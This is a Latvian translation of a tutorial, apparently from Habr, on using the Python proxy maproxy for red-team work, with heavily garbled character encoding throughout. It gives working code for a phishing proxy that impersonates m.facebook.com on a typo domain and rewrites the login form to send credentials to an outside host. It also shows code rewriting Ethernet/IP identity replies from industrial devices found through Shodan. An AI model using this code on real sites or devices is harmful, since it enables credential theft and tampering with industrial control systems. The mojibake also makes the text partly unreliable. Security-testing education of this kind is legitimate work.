Raksta tulkojums sagatavots kursa uzsÄkÅ”anas priekÅ”vakarÄ .

AnotÄcija
DažÄdi droŔības novÄrtÄjumu veidi, sÄkot no regulÄras iekļuves testÄÅ”anas un Red Team operÄcijÄm lÄ«dz IoT/ICS ierÄ«Äu un SCADA uzlauÅ”anai, ietver darbu ar binÄrajÄm tÄ«kla protokoliem, proti, bÅ«tÄ«bÄ pakalpojumu datu pÄrtverÅ”anu un modifikÄciju starp klientu un mÄrÄ·i. TÄ«kla trafika sniffing nav sarežģīta uzdevums, jo mums ir tÄdi rÄ«ki kÄ Wireshark, Tcpdump vai Scapy, tomÄr modifikÄcija izrÄdÄs sarežģītÄka, jo mums bÅ«s nepiecieÅ”ams veikt savu veidu interfeisu, lai lasÄ«tu tÄ«kla datus, filtrÄtu tos, mainÄ«tu reÄlÄ laikÄ un nosÅ«tÄ«tu atpakaļ uz mÄrÄ·a hostu gandrÄ«z reÄlÄ laikÄ. TurklÄt bÅ«tu ideÄli, ja Å”Äds rÄ«ks varÄtu automÄtiski strÄdÄt ar vairÄkiem paralÄliem savienojumiem un bÅ«tu iespÄjama pielÄgoÅ”ana, izmantojot skriptus.
Reiz es atklÄju rÄ«ku, kas saucas , dokumentÄcija Ätri lika man saprast, ka maproxy ā tieÅ”i tas, kas man nepiecieÅ”ams. Tas ir diezgan vienkÄrÅ”s, universÄls un viegli konfigurÄjams TCP proxy. Es testÄju Å”o rÄ«ku ar vairÄkÄm diezgan sarežģītÄm lietojumprogrammÄm, tostarp ICS ierÄ«cÄm (kuras Ä£enerÄ daudz pakotÅu), lai noskaidrotu, vai tas var strÄdÄt ar daudzÄm paralÄlÄm savienojumiem, un rÄ«ks lieliski sevi parÄdÄ«ja.
Å is raksts iepazÄ«stinÄs ar tÄ«kla datu apstrÄdi reÄlÄ laikÄ, izmantojot maproxy.
PÄrskats
RÄ«ks maproxy balstÄ«ts uz Tornado ā populÄru un attÄ«stÄ«tu asinkrono tÄ«kla ietvaru Python valodÄ.
KopumÄ tas var darboties vairÄkos režīmos:
TCP:TCPā neÅ”ifrÄti TCP savienojumi;TCP:SSLunSSL:TCPā ar vienpusÄju Å”ifrÄÅ”anu;SSL:SSLā divpusÄjÄ Å”ifrÄÅ”ana.
Tas tiek piegÄdÄts kÄ bibliotÄka. Ätrai palaiÅ”anai jÅ«s varat izmantot failu piemÄrus, kas atspoguļo galvenÄs :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
KÄds 1 ā vienkÄrÅ”s divvirzienu proxy
Pamatojoties uz tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Pa noklusÄjumu ProxyServer() pieÅem divus argumentus ā savienojuma vietu un mÄrÄ·a portu. server.listen() pieÅem vienu argumentu ā portu, lai klausÄ«tos ienÄkoÅ”ajiem savienojumiem.
Skripta izpilde:
# python tcp2tcp.py Lai veiktu testu, mÄs plÄnojam pieslÄgties vietÄjai SSH serverim caur mÅ«su starpniekservera skriptu, kas klausÄs uz 2222/tcp porta un pieslÄdzas standartportam 22/tcp SSH servera:

Sveiciena baneris liecina, ka mūsu skripts veiksmīgi ir starpniekserverojis tīkla trafiku.
GadÄ«jums 2 ā datu modifikÄcija
Cits demo skripts logging_proxy.py ideÄli piemÄrots tÄ«kla datu apstrÄdei. KomentÄri failÄ apraksta klases metodes, kuras jÅ«s varat modificÄt, lai sasniegtu savu mÄrÄ·i:

InteresantÄkais Å”eit:
on_c2p_done_readā lai pÄrtvertu datus ceÄ¼Ä no klienta uz serveri;on_p2s_done_readā pretÄjÄ virzienÄ.
MÄÄ£inÄsim mainÄ«t SSH baneri, ko serveris atgriež klientam:
[ā¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[ā¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[ā¦]IevÄrojiet skriptu:

KÄ redzat, klients tika maldinÄts, jo viÅam SSH servera nosaukums tika aizvietots ar Ā«DumnySSHĀ».

GadÄ«jums 3 ā vienkÄrÅ”a makŔķerÄÅ”anas tÄ«mekļa lapa
Ir bezgalÄ«gas iespÄjas izmantot Å”o rÄ«ku. Å oreiz koncentrÄsimies uz kaut ko praktiskÄku no Red Team operÄcijÄm. MÄÄ£inÄsim simulÄt lapu m.facebook.com un izmantosim pielÄgotu domÄnu ar apzinÄtu rakstzÄ«mju kļūdu, piemÄram, m.facebok.com. DemonstrÄcijas nolÅ«kos pieÅemam, ka domÄns ir reÄ£istrÄts mÅ«su vÄrdÄ.
PlÄnojam izveidot neÅ”ifrÄtu tÄ«kla savienojumu ar mÅ«su upuru starpniekserveri un SSL Stream Facebook serverim (31.13.81.36). Lai Å”is piemÄrs darbotos, mums jÄaizvieto HTTP Host galvene un jÄievieto pareizais host nosaukums, kÄ arÄ« mÄs atslÄgsim atbilžu saspieÅ”anu, lai iegÅ«tu vieglu piekļuvi to saturam. Galu galÄ mÄs aizvietosim HTML formu, lai pieteikÅ”anÄs dati tiktu nosÅ«tÄ«ti mums, nevis Facebook serveriem:
[ā¦]
def on_c2p_done_read(self,data):
# aizvietojam Host galveni
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# atslÄdzam saspieÅ”anu
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[ā¦]
def on_p2s_done_read(self,data):
# daļÄja atbildes aizvietoÅ”ana
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[ā¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[ā¦]RezultÄtÄ:

KÄ redzat, mÄs veiksmÄ«gi spÄjam aizvietot oriÄ£inÄlo tÄ«mekļa vietni.
GadÄ«jums 4 ā mainÄm Ethernet/IP
Es ilgu laiku esmu strÄdÄjis ar rÅ«pnieciskajÄm ierÄ«cÄm un programmatÅ«ru (ICS / SCADA), piemÄram, programmÄjamÄm kontrolieriem (PLC), ievades-izvades moduļiem, piedziÅÄm, relejiem, kÄ arÄ« programmÄÅ”anas vidÄm un daudz ko citu. Å is gadÄ«jums ir paredzÄts tiem, kam patÄ«k rÅ«pnieciskÄs lietas. Å Ädu risinÄjumu pÄrkÄpÅ”ana ietver aktÄ«vu spÄli ar tÄ«kla protokoliem. NÄkamajÄ piemÄrÄ es gribu parÄdÄ«t, kÄ jÅ«s varat modificÄt ICS/SCADA tÄ«kla trafiku.
Tam jums būs nepiecieŔams sekojoŔais:
- TÄ«kla sniffer, piemÄram, Wireshark;
- Ethernet/IP vai vienkÄrÅ”i SIP ierÄ«ce, ko varat atrast, izmantojot Shodan pakalpojumu;
- MÅ«su skripts balstÄs uz
maproxy.
Lai sÄktu, apskatÄ«sim, kÄ izskatÄs tipisks identifikÄcijas atbildes no CIP (Common Industrial Protocol):

IerÄ«ces identifikÄcija notiek, izmantojot Ethernet/IP protokolu, kas ir paplaÅ”inÄtÄ versija Ethernet protokolam rÅ«pnieciskÄm vajadzÄ«bÄm, tas ietver kontroles protokolus, piemÄram, CIP. MÄs plÄnojam mainÄ«t apzÄ«mÄto identifikÄcijas nosaukumu, kas redzams ekrÄnuzÅÄmumÄ āNI-IndComm for Ethernetā ar mÅ«su starpniek-servera skriptu. MÄs varÄtu atkÄrtoti izmantot skriptu logging_proxy.py un lÄ«dzÄ«gi modificÄt klases metodi on_p2s_done_read, jo mÄs vÄlamies, lai klientam bÅ«tu redzams cits identifikÄcijas nosaukums.
Kods:
[ā¦]
def on_p2s_done_read(self,data):
# daļÄja atbildes nomaiÅa
# PÄrbaudÄm, vai saÅemta List Identity ziÅojuma atbilde
if data[26:28] == b'x0cx00':
print('SaÅemta atbilde, nomainÄm')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[ā¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[ā¦]
PamatÄ mÄs divreiz pieprasÄ«jÄm ierÄ«ces identifikÄciju, otrais atbildes ziÅojums ā oriÄ£inÄlais, bet pirmais tika modificÄts uz vietas.
Un beigÄs
ManÄ skatÄ«jumÄ maproxy Ärts un vienkÄrÅ”s rÄ«ks, kas, turklÄt, ir uzrakstÄ«ts Python valodÄ, tÄpÄc es uzskatu, ka arÄ« jÅ«s varat gÅ«t labumu no tÄ izmantoÅ”anas. Protams, pastÄv arÄ« sarežģītÄki rÄ«ki tÄ«kla datu apstrÄdei un modificÄÅ”anai, taÄu tie prasa arÄ« lielÄku uzmanÄ«bu un parasti tiek izstrÄdÄti konkrÄtiem lietoÅ”anas scenÄrijiem, piemÄram, , vai lÄ«dzÄ«giem gadÄ«jumiem, vai pÄdÄjam gadÄ«jumam. TÄ vai citÄdi, ar palÄ«dzÄ«bu maproxy jÅ«s varat Ätri Ä«stenot savas idejas par tÄ«kla datu nozagÅ”anu, jo skriptu piemÄri ir ļoti vizuÄli.
Avots: habr.com
